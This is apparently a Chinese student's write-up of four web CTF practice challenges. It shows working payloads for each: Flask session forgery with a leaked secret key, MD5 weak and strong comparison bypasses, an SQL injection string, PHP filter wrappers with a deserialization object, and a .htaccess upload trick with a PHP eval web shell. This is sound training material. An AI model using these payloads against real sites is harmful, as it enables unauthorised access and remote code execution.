[HCTF 2018]admin

题目环境:

拿到题目

http://8d2e91a4-70d2-49da-98f1-83d166f947bd.node4.buuoj.cn:81

f12查看源代码

<!-- you are not admin -->

发现提示要成为admin

随便注册个账号,登入后,在

view-source:http://admin.2018.hctf.io/change

发现提示

image-20220626125539293

<!-- https://github.com/woadsl1234/hctf_flask/ -->

于是下载源码

功能分析

拿到代码后,查看了下路由route.py

#!/usr/bin/env python
# -*- coding:utf-8 -*-

from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code

@app.route('/code')
def get_code():
    image, code = get_verify_code()
    # 图片以二进制形式写入
    buf = BytesIO()
    image.save(buf, 'jpeg')
    buf_str = buf.getvalue()
    # 把buf_str作为response返回前端,并设置首部字段
    response = make_response(buf_str)
    response.headers['Content-Type'] = 'image/gif'
    # 将验证码字符串储存在session中
    session['image'] = code
    return response

@app.route('/')
@app.route('/index')
def index():
    return render_template('index.html', title = 'hctf')

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

@app.route('/logout')
def logout():
    logout_user()
    return redirect('/index')

@app.route('/change', methods = ['GET', 'POST'])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)

@app.route('/edit', methods = ['GET', 'POST'])
def edit():
    if request.method == 'POST':
        
        flash('post successful')
        return redirect(url_for('index'))
    return render_template('edit.html', title = 'edit')

@app.errorhandler(404)
def page_not_found(error):
    title = unicode(error)
    message = error.description
    return render_template('errors.html', title=title, message=message)

def strlower(username):
    username = nodeprep.prepare(username)
    return username
功能
  1. post
  2. change
  3. password
  4. logout

解法:session伪造

解题步骤:

1.解密session:

在index.html中发现:

只要用户已经认证且session记录的用户名为admin即可

image-20220626130638209

flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体参考大神:https://www.leavesongs.com/PENETRATION/client-session-security.html

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY,在github源码里找找,可以在config.py里发现下面代码

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

估计ckj123就是SECRET_KEY,所以session伪造这条路可行

Python解密脚本:
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))   

image-20220626123127551

得到解密后的session

{'_fresh': True, '_id': b'51930a4e837b744d72c1e52b4265fb8ec1ba1e278cd195a31c9f8b17ceb88e51e11277f017645b2a66c37937915d1966c57884b2b72b2d69fbf37f1d8abdd1f0', 'csrf_token': b'aadc91735aa0529a4ba453b15cacdc8ad2914adc', 'image': b'6Xlz', 'name': 'asdf', 'user_id': '10'}

将name的值改为:admin

2.session加密:

python加密脚本获取:
git clone https://github.com/noraj/flask-session-cookie-manager

得到签名后的admin session

image-20220626124452116

3.修改浏览器cookie中的session值:

image-20220626124256677

4.得到flag:

image-20220626124227608

然后其实加密的时候 -t参数没必要写这么长,我们可以看到index.html里代码是,只要session['name']==admin即可,所以我们可以用

python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'name':'admin','user_id':'10'}"

也能得到flag。

问题:

在给python安装flask时出现了一个问题:

pip install flask

👲代理就无法

image-20220626133402546

解决方法:

法一:(找一下代理网址后重新装)

pip install flask --proxy="ip:8080" 

法二:关代理后安装

法2、3

法二:Unicode欺骗,经尝试失败了,似乎另一种编码形式的A不能用啦

法三:条件竞争(太菜啦,先把基础学了,会琢磨的😢)

参考一:三种方法

参考二:客户端session问题解释


[BJDCTF2020]Easy MD5

image-20220626183214284

步骤:

抓包,返回hint:

image-20220626183443823

结合:image-20220626183536322

payload1:ffifdyop绕过

绕过原理是:

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码

出现第二个页面:

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

image-20220626183242736

md5弱比较:

根据代码中的条件,要让a和b值不等但md5值相等。由于这里使用的两个等号,可以借助弱类型来绕过一下。

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

payload2:

?a=s878926199a&b=s155964671a

image-20220626184636618

以0e开头的MD5及原值

s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

得到

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等

payload3:

param1[]=1&param2[]=2

image-20220626185144460

其实不止传数组一种解法,还可以构造相同md5值的两条数据。md5值相同的字符串目前为没有找到,但二进制数据是有的,在传递时注意url编码即可。这里给出另一个解:

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3

image-20220626185443186

注意:用hacbar传值的话会失败,直接用bp传参

考点:

  1. md5的数组绕过
  2. 哈希碰撞绕过
  3. 弱类型绕过
  4. 利用二进制md5数据构造SQL注入

[ZJCTF 2019]NiZhuanSiWei

题目环境:

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

payload1:

使用hacbar中的工具构造:

?text=data://text/plain;base64,[d2VsY29tZSB0byB0aGUgempjdGY=]
&file=php://filter/convert.base64-encode/resource=useless.php

base64解码

image-20220626202403253

得到:

<?php  
    
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

payload2:

<?php  
   
class Flag{  //flag.php  
    public $file = "flag.php";
    #$file = "flag.php"; 
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$a = new Flag();
echo  serialize($a);
?>  
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

finally payload:

?text=data://text/plain;base64,[d2VsY29tZSB0byB0aGUgempjdGY=]

&file=useless.php

&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

[MRCTF2020]你传你🐎呢

题目环境:

image-20220626204934677

解题步骤:

只要上传文件名为 .php* .phtml* 都会被拦截

思路:

利用.htaccess文件,将上传的png图片解析为php文件即可

传一个.htaccess文件, 其实现功能为:当前目录下所有 名称为shell的文件都以 php 进行解析

.htaccess

<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>  

.htaccess文件还可以写成这样:(表示所有jpg文件以php进行解析)

AddType application/x-httpd-php .jpg

image-20220626213740464

知识:

.htaccess是什么?

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

使用.htaccess文件的场合

.htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下

传图片马

传一个图片类型的一句话木马

<?php @eval($_POST['shell']); ?>

文件后缀改为.png

image-20220626205333050

but

image-20220626205349577

我快吐啦,真的不能理解这个url的拼接规则,我一直以为是我的一句话木马有语法错误,裂开。。

不过总算连接上啦!!

payload:

http://e3ff68d4-0f56-45f5-90d6-fe659e678462.node4.buuoj.cn:81/upload/fce558920a313421cb1c89269f2e320d/shell

image-20220627120107482

得到flag:

image-20220627122940514